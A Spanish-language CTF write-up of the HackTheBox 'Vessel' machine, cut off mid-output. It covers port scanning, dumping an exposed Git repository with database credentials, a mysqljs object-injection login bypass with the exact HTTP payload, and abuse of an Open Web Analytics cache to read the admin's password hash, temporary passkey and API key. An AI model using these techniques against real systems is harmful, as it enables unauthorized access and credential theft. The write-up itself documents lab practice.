Vessel



Conocimientos


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn 10.10.11.178 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 21:01 GMT
Nmap scan report for 10.10.11.178
Host is up (0.066s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 14.22 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.178 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 21:01 GMT
Nmap scan report for 10.10.11.178
Host is up (0.063s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 38c297327b9ec565b44b4ea330a59aa5 (RSA)
|   256 33b355f4a17ff84e48dac5296313833d (ECDSA)
|_  256 a1f1881c3a397274e6301f28b680254e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vessel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.89 seconds

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.11.178
http://10.10.11.178 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[name@example.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.178], Script, Title[Vessel], X-Powered-By[Express]

La página principal se ve así:

Aparece el dominio al final del todo

Lo añado al /etc/hosts

Aplico fuzzing para descubrir rutas

wfuzz -c --hh=26 -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt http://vessel.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://vessel.htb/FUZZ
Total requests: 26584

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000003:   302        0 L      4 W        28 Ch       "admin"                                                                                                                                         
000000009:   301        10 L     16 W       171 Ch      "js"                                                                                                                                            
000000038:   200        89 L     234 W      5830 Ch     "register"                                                                                                                                      
000000015:   301        10 L     16 W       173 Ch      "css"                                                                                                                                           
000000036:   302        0 L      4 W        28 Ch       "logout"                                                                                                                                        
000000045:   301        10 L     16 W       173 Ch      "img"                                                                                                                                           
000000039:   200        70 L     182 W      4213 Ch     "login"                                                                                                                                         
000000124:   301        10 L     16 W       173 Ch      "dev"                                                                                                                                           
000001866:   200        51 L     117 W      2335 Ch     "500"                                                                                                                                           
000003781:   403        9 L      28 W       275 Ch      "server-status"                                                                                                                                 
000003809:   200        243 L    871 W      15030 Ch    "http://vessel.htb/"                                                                                                                            
000004169:   200        63 L     177 W      3637 Ch     "reset"                                                                                                                                         
000004924:   200        52 L     120 W      2400 Ch     "401"                                                                                                                                           
000000183:   200        51 L     125 W      2393 Ch     "404"                                                                                                                                           

Total time: 0
Processed Requests: 26473
Filtered Requests: 26459
Requests/sec.: 0

Al intentar registrarme me aparece un error

En /dev hay un repositorio GIT

dirsearch -u http://10.10.11.178/dev

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/10.10.11.178/-dev_23-04-08_21-14-14.txt

Error Log: /root/.dirsearch/logs/errors-23-04-08_21-14-14.log

Target: http://10.10.11.178/dev/

[21:14:14] Starting: 
[21:14:17] 200 -  139B  - /dev/.git/config
[21:14:17] 200 -   25B  - /dev/.git/COMMIT_EDITMSG
[21:14:17] 200 -   73B  - /dev/.git/description
[21:14:17] 200 -   23B  - /dev/.git/HEAD
[21:14:17] 301 -  203B  - /dev/.git/logs/refs  ->  /dev/.git/logs/refs/
[21:14:17] 301 -  215B  - /dev/.git/logs/refs/heads  ->  /dev/.git/logs/refs/heads/
[21:14:17] 200 -  240B  - /dev/.git/info/exclude
[21:14:17] 200 -    2KB - /dev/.git/logs/refs/heads/master
[21:14:17] 301 -  205B  - /dev/.git/refs/heads  ->  /dev/.git/refs/heads/
[21:14:17] 200 -   41B  - /dev/.git/refs/heads/master
[21:14:17] 301 -  203B  - /dev/.git/refs/tags  ->  /dev/.git/refs/tags/
[21:14:17] 200 -    5KB - /dev/.git/logs/HEAD
[21:14:17] 200 -    3KB - /dev/.git/index

Utilizo git-dumper para recomponerlo

git-dumper http://10.10.11.178/dev/.git git

Tiene 3 commits. Puedo ver un usuario

git log
commit 208167e785aae5b052a4a2f9843d74e733fbd917 (HEAD -> master)
Author: Ethan <ethan@vessel.htb>
Date:   Mon Aug 22 10:11:34 2022 -0400

    Potential security fixes

commit edb18f3e0cd9ee39769ff3951eeb799dd1d8517e
Author: Ethan <ethan@vessel.htb>
Date:   Fri Aug 12 14:19:19 2022 -0400

    Security Fixes

commit f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3
Author: Ethan <ethan@vessel.htb>
Date:   Wed Aug 10 15:16:56 2022 -0400

    Initial commit

Listo los cambios realizados hasta el último commit

git diff f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3
diff --git a/routes/index.js b/routes/index.js
index be2adb1..69c22be 100644
--- a/routes/index.js
+++ b/routes/index.js
@@ -1,6 +1,6 @@
 var express = require('express');
 var router = express.Router();
-var mysql = require('mysql');
+var mysql = require('mysql'); /* Upgraded deprecated mysqljs */
 var flash = require('connect-flash');
 var db = require('../config/db.js');
 var connection = mysql.createConnection(db.db)
@@ -61,7 +61,7 @@ router.post('/api/login', function(req, res) {
        let username = req.body.username;
        let password = req.body.password;
        if (username && password) {
-               connection.query("SELECT * FROM accounts WHERE username = '" + username + "' AND password = '" + password + "'", function(error, results, fields) {
+               connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
                        if (error) throw error;
                        if (results.length > 0) {
                                req.session.loggedin = true;
git diff edb18f3e0cd9ee39769ff3951eeb799dd1d8517e
diff --git a/routes/index.js b/routes/index.js
index 0cf479c..69c22be 100644
--- a/routes/index.js
+++ b/routes/index.js
@@ -1,6 +1,6 @@
 var express = require('express');
 var router = express.Router();
-var mysql = require('mysql');
+var mysql = require('mysql'); /* Upgraded deprecated mysqljs */
 var flash = require('connect-flash');
 var db = require('../config/db.js');
 var connection = mysql.createConnection(db.db)

El archivo db.js contiene credenciales de acceso a la base de datos

var mysql = require('mysql');

var connection = {
        db: {
        host     : 'localhost',
        user     : 'default',
        password : 'daqvACHKvRn84VdVp',
        database : 'vessel'
}};

module.exports = connection;

En routes/index.js se hace referencia a mysqljs

var mysql = require('mysql'); /* Upgraded deprecated mysqljs */

Busco por vulnerabilidades a ello y encuentro un artículo que detalla una SQLi. Intercepto la petición y me conecto como el usuario Administrador

POST /api/login HTTP/1.1
Host: 10.10.11.178
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.178
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.178/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3A1GVp_IDFSbWmY1C9gVGUEaKIvXyGaicb.BqSgnwBPTCbkXq70O9zISe1Tv4Cx%2FdLKezWuXS%2FvaOs
Connection: close

{"username":"admin", "password":{"password": 1}}

Accedo a una nueva interfaz

Puedo ver un nuevo subdominio openwebanalytics.vessel.htb. Lo añado al /etc/hosts. Corresponde a un nuevo panel de inicio de sesión

Solicito una nueva contraseña para el usuario admin

En el código fuente se puede ver la versión del OWA

Miro el repositorio de Github. En la siguiente actualización aparece un mensaje que advierte de una vulnerabilidad crítica

Este artículo explica en que consiste la vulnerabilidad

El directorio donde se almacena el archivo con contenido en PHP proveniente de mi input de data serializada en base64 está vacío

Clono el repositorio y migro al commit del release que está en producción, para analizar los scripts que se encargan de almacenar esta caché

git clone https://github.com/Open-Web-Analytics/Open-Web-Analytics
git checkout 0eaa08bc7f07347df9ec17d3d92c16a88543a64b

Busco por todos aquellos cuyo nombre contenga la palabra caché

find . | grep -i cache
./owa-data/caches
./owa-data/caches/index.php
./includes/memcached-client.php
./modules/base/classes/fileCache.php
./modules/base/classes/memcachedCache.php
./modules/base/classes/cache.php
./modules/base/flushCacheCli.php
./modules/base/optionsFlushCache.php

Analizo fileCache.php. Es posible llegar a obtener el nombre del archivo final

function putItemToCacheStore($collection, $id) {

    if ( $this->acquire_lock() ) {
        $this->makeCacheCollectionDir($collection);
        $this->debug(' writing file for: '.$collection.$id);
        // create collection dir
        $collection_dir = $this->makeCollectionDirPath($collection);
        // asemble cache file name
        $cache_file = $collection_dir.$id.'.php';

Esta variable se declara en este otro fragmento de código

function makeCacheCollectionDir($collection) {

    // check to see if the caches directory is writable, return if not.
    if (!is_writable($this->cache_dir)) {
        return;
    }

    // localize the cache directory based on some id passed from caller

    if (!file_exists($this->cache_dir.$this->cache_id)) {

        mkdir($this->cache_dir.$this->cache_id);
        chmod($this->cache_dir.$this->cache_id, $this->dir_perms);
    }

    $collection_dir = $this->makeCollectionDirPath($collection);

La función comienza con una verificación para determinar si el directorio de caché es escribible. Si no lo es, la función no avanza. En caso contrario continúa localizando el directorio de caché en función de un ID proporcionado por el llamador.

A continuación, la función comprueba si el directorio específico de la colección $collection existe en el directorio de caché. Si no existe, se crea el directorio utilizando la función mkdir() y se le otorgan permisos utilizando la función chmod().

Finalmente, la función llama a otra función makeCollectionDirPath($collection) y retorna el valor devuelto por esta función en la variable $collection_dir.

El ID se define en el script cache.php, desde la función set()

function set($collection, $key, $value, $expires = '') {

    $hkey = $this->hash($key);
    owa_coreAPI::debug('set key: '.$key);
    owa_coreAPI::debug('set hkey: '.$hkey);
    $this->cache[$collection][$hkey] = $value;
    $this->debug(sprintf('Added Object to Cache - Collection: %s, id: %s', $collection, $hkey));
    $this->statistics['added']++;        
    $this->dirty_objs[$collection][$hkey] = $hkey;
    $this->dirty_collections[$collection] = true; 
    $this->debug(sprintf('Added Object to Dirty List - Collection: %s, id: %s', $collection, $hkey));
    $this->statistics['dirty']++;
        
}

Se va iterando por cada valor de dirt_objs y dirty_collections para asegurarse de que se actualicen en el almacenamiento persistente de la caché en un momento posterior. La función también actualiza las estadísticas correspondientes al uso de la caché. La key pasa a ser el identificador

En el script owa_entity.php se añade finalmente al caché. La función utiliza la función set() de la instancia de caché para agregar el objeto actual a la caché con la clave $col.$this->get('id') y el período de caducidad especificado en $this->getCacheExpirationPeriod().

function addToCache($col = 'id') {
    
    if($this->isCachable()) {
        $cache = owa_coreAPI::cacheSingleton();
        $cache->setCollectionExpirationPeriod($this->getTableName(), $this->getCacheExpirationPeriod());
        $cache->set($this->getTableName(), $col.$this->get('id'), $this, $this->getCacheExpirationPeriod());
    }
}

Es decir, se están introduciendo dichos valores en una base de datos cuya tabla es el valor del $collection y $key el nombre de la columna. En la función getByColumn se realiza la conexión con la base de datos

function getByColumn($col, $value) {
            
    if ( ! $col ) {
        throw new Exception("No column name passed.");
    }
    
    if ( ! $value ) {
        throw new Exception("No value passed.");
    }
    
    $cache_obj = '';
    
    if ($this->isCachable()) {
        $cache = owa_coreAPI::cacheSingleton();
        $cache->setCollectionExpirationPeriod($this->getTableName(), $this->getCacheExpirationPeriod());
        $cache_obj = $cache->get($this->getTableName(), $col.$value);
    }        
        
    if (!empty($cache_obj)) {
    
        $cache_obj_properties = $cache_obj->_getProperties();
        $this->setProperties($cache_obj_properties);
        $this->wasPersisted = true;
                
    } else {
    
        $db = owa_coreAPI::dbSingleton();
        $db->selectFrom($this->getTableName());
        $db->selectColumn('*');
        owa_coreAPI::debug("Col: $col, value: $value");    
        $db->where($col, $value);
        $properties = $db->getOneRow();
        
        if (!empty($properties)) {
            
            $this->setProperties($properties);
            $this->wasPersisted = true;
            // add to cache            
            $this->addToCache($col);
            owa_coreAPI::debug('entity loaded from db');        
        }
    } 
}

La siguiente sección de la función se encarga de verificar si el objeto está en la caché. Si es así, la función utiliza la función get() de la instancia de caché para recuperar el objeto con la clave correspondiente y establece las propiedades del objeto actual con los valores de la instancia de caché recuperada.

Si el objeto no se encuentra en la caché, la función utiliza la clase owa_coreAPI para realizar una consulta en la base de datos y obtener las propiedades correspondientes al objeto de la tabla de base de datos. Si se encuentra el objeto, la función establece las propiedades del objeto actual con los valores obtenidos de la base de datos y luego agrega el objeto a la caché mediante la función addToCache().

La función getUser() se encarga de validar el usuario al iniciar sesión, por lo que es muy probable que este valor se almacene en la caché durante un periodo de tiempo

function getUser() {

    // fetch user object from the db
    $this->u = owa_coreAPI::entityFactory('base.user');
    $this->u->getByColumn('user_id', $this->credentials['user_id']);
}

Por tanto, el formato tiene que ser user_id seguido de un dígito. Computo el hash MD5 correspondiente

echo -n "user_id1" | md5sum
c30da9265ba0a4704db9229f864c9eb7  -

Tras tratar de loggearme como admin:admin, y utilizando el anterior identificador, es posible llegar obtener la data serializada de la conexión con la base de datos

curl -s -X GET 'http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php'
<?php\n/*Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJuYW1lIjtzOjk6ImJhc2UudXNlciI7czoxMDoicHJvcGVydGllcyI7YToxMDp7czoyOiJpZCI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MToiMSI7czo5OiJkYXRhX3R5cGUiO3M6NjoiU0VSSUFMIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjc6InVzZXJfaWQiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjoxO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjg6InBhc3N3b3JkIjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO047czo1OiJ2YWx1ZSI7czo2MDoiJDJ5JDEwJHpKTEJvU2RPaFdVS0VGL3YvMUVuOHVVM0tJWS9QdlA2WVYuTy9SRjcxMUZlbjRwczRRdmRPIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjQ6InJvbGUiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjk6InJlYWxfbmFtZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTM6ImRlZmF1bHQgYWRtaW4iO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fXM6MTM6ImVtYWlsX2FkZHJlc3MiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjE2OiJhZG1pbkB2ZXNzZWwuaHRiIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjEyOiJ0ZW1wX3Bhc3NrZXkiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjMyOiI0MmQwZTAxMzFlNTA3MDc2NWNlZGQ1OTk1MThlOTNlYyI7czo5OiJkYXRhX3R5cGUiO3M6MTI6IlZBUkNIQVIoMjU1KSI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxMzoiY3JlYXRpb25fZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxNjoibGFzdF91cGRhdGVfZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czo3OiJhcGlfa2V5IjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO3M6NzoiYXBpX2tleSI7czo1OiJ2YWx1ZSI7czozMjoiYTM5MGNjMDI0N2VjYWRhOWEyYjhkMjMzOGI5Y2E2ZDIiO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fX1zOjE2OiJfdGFibGVQcm9wZXJ0aWVzIjthOjQ6e3M6NToiYWxpYXMiO3M6NDoidXNlciI7czo0OiJuYW1lIjtzOjg6Im93YV91c2VyIjtzOjk6ImNhY2hlYWJsZSI7YjoxO3M6MjM6ImNhY2hlX2V4cGlyYXRpb25fcGVyaW9kIjtpOjYwNDgwMDt9czoxMjoid2FzUGVyc2lzdGVkIjtiOjE7czo1OiJjYWNoZSI7Tjt9*/\n?>

Está en base64, le hago el decode

cat data | base64 -d
O:8:"owa_user":5:{s:4:"name";s:9:"base.user";s:10:"properties";a:10:{s:2:"id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:1:"1";s:9:"data_type";s:6:"SERIAL";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:1;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:8:"password";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$zJLBoSdOhWUKEF/v/1En8uU3KIY/PvP6YV.O/RF711Fen4ps4QvdO";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:4:"role";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:9:"real_name";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:13:"default admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"email_address";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:16:"admin@vessel.htb";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"42d0e0131e5070765cedd599518e93ec";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"creation_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:16:"last_update_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"api_key";O:12:"owa_dbColumn":11:{s:4:"name";s:7:"api_key";s:5:"value";s:32:"a390cc0247ecada9a2b8d2338b9ca6d2";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}}s:16:"_tableProperties";a:4:{s:5:"alias";s:4:"user";s:4:"name";s:8:"owa_user";s:9:"cacheable";b:1;s:23:"cache_expiration_period";i:604800;}s:12:"wasPersisted";b:1;s:5:"cache";N;}

Deserializo la data con PHP

php > var_dump($data);
object(__PHP_Incomplete_Class)#1 (6) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(8) "owa_user"
  ["name"]=>
  string(9) "base.user"
  ["properties"]=>
  array(10) {
    ["id"]=>
    object(__PHP_Incomplete_Class)#2 (12) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(12) "owa_dbColumn"
      ["name"]=>
      NULL
      ["value"]=>
      string(1) "1"
      ["data_type"]=>
      string(6) "SERIAL"
      ["foreign_key"]=>
      NULL
      ["is_primary_key"]=>
      bool(false)
      ["auto_increment"]=>
      bool(false)
      ["is_unique"]=>
      bool(false)
      ["is_not_null"]=>
      bool(false)
      ["label"]=>
      NULL
      ["index"]=>
      NULL
      ["default_value"]=>
      NULL
    }
    ["user_id"]=>
    object(__PHP_Incomplete_Class)#3 (12) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(12) "owa_dbColumn"
      ["name"]=>
      NULL
      ["value"]=>
      string(5) "admin"
      ["data_type"]=>
      string(12) "VARCHAR(255)"
      ["foreign_key"]=>
      NULL
      ["is_primary_key"]=>
      bool(true)
      ["auto_increment"]=>
      bool(false)
      ["is_unique"]=>
      bool(false)
      ["is_not_null"]=>
      bool(false)
      ["label"]=>
      NULL
      ["index"]=>
      NULL
      ["default_value"]=>
      NULL
    }
    ["password"]=>
    object(__PHP_Incomplete_Class)#4 (12) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(12) "owa_dbColumn"
      ["name"]=>
      NULL
      ["value"]=>
      string(60) "$2y$10$zJLBoSdOhWUKEF/v/1En8uU3KIY/PvP6YV.O/RF711Fen4ps4QvdO"
      ["data_type"]=>
      string(12) "VARCHAR(255)"
      ["foreign_key"]=>
      NULL
      ["is_primary_key"]=>
      bool(false)
      ["auto_increment"]=>
      bool(false)
      ["is_unique"]=>
      bool(false)
      ["is_not_null"]=>
      bool(false)
      ["label"]=>
      NULL
      ["index"]=>
      NULL
      ["default_value"]=>
      NULL
    }
    ["role"]=>
    object(__PHP_Incomplete_Class)#5 (12) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(12) "owa_dbColumn"
      ["name"]=>
      NULL
      ["value"]=>
      string(5) "admin"
      ["data_type"]=>
      string(12) "VARCHAR(255)"
      ["foreign_key"]=>
      NULL
      ["is_primary_key"]=>
      bool(false)
      ["auto_increment"]=>
      bool(false)
      ["is_unique"]=>
      bool(false)
      ["is_not_null"]=>
      bool(false)
      ["label"]=>
      NULL
      ["index"]=>
      NULL
      ["default_value"]=>
      NULL
    }
    ["real_name"]=>
    object(__PHP_Incomplete_Class)#6 (12) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(12) "owa_dbColumn"
      ["name"]=>
      NULL
      ["value"]=>
      string(13) "default admin"
      ["data_type"]=>
      string(12) "VARCHAR(255)"
      ["foreign_key"]=>
      NULL
      ["is_primary_key"]=>
      bool(false)
      ["auto_increment"]=>
      bool(false)
      ["is_unique"]=>
      bool(false)
      ["is_not_null"]=>
      bool(false)
      ["label"]=>
      NULL
      ["index"]=>
      NULL
      ["default_value"]=>
      NULL
    }
    ["email_address"]=>
    object(__PHP_Incomplete_Class)#7 (12) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(12) "owa_dbColumn"
      ["name"]=>
      NULL
      ["value"]=>
      string(16) "admin@vessel.htb"
      ["data_type"]=>
      string(12) "VARCHAR(255)"
      ["foreign_key"]=>
      NULL
      ["is_primary_key"]=>
      bool(false)
      ["auto_increment"]=>
      bool(false)
      ["is_unique"]=>
      bool(false)
      ["is_not_null"]=>
      bool(false)
      ["label"]=>
      NULL
      ["index"]=>
      NULL
      ["default_value"]=>
      NULL
    }
    ["temp_passkey"]=>
    object(__PHP_Incomplete_Class)#8 (12) {
      ["__PHP_Incomplete_Class_Name"]=>
      string(12) "owa_dbColumn"
      ["name"]=>
      NULL
      ["value"]=>
      string(32) "42d0e0131e5070765cedd599518e93ec"
      ["data_type"]=>
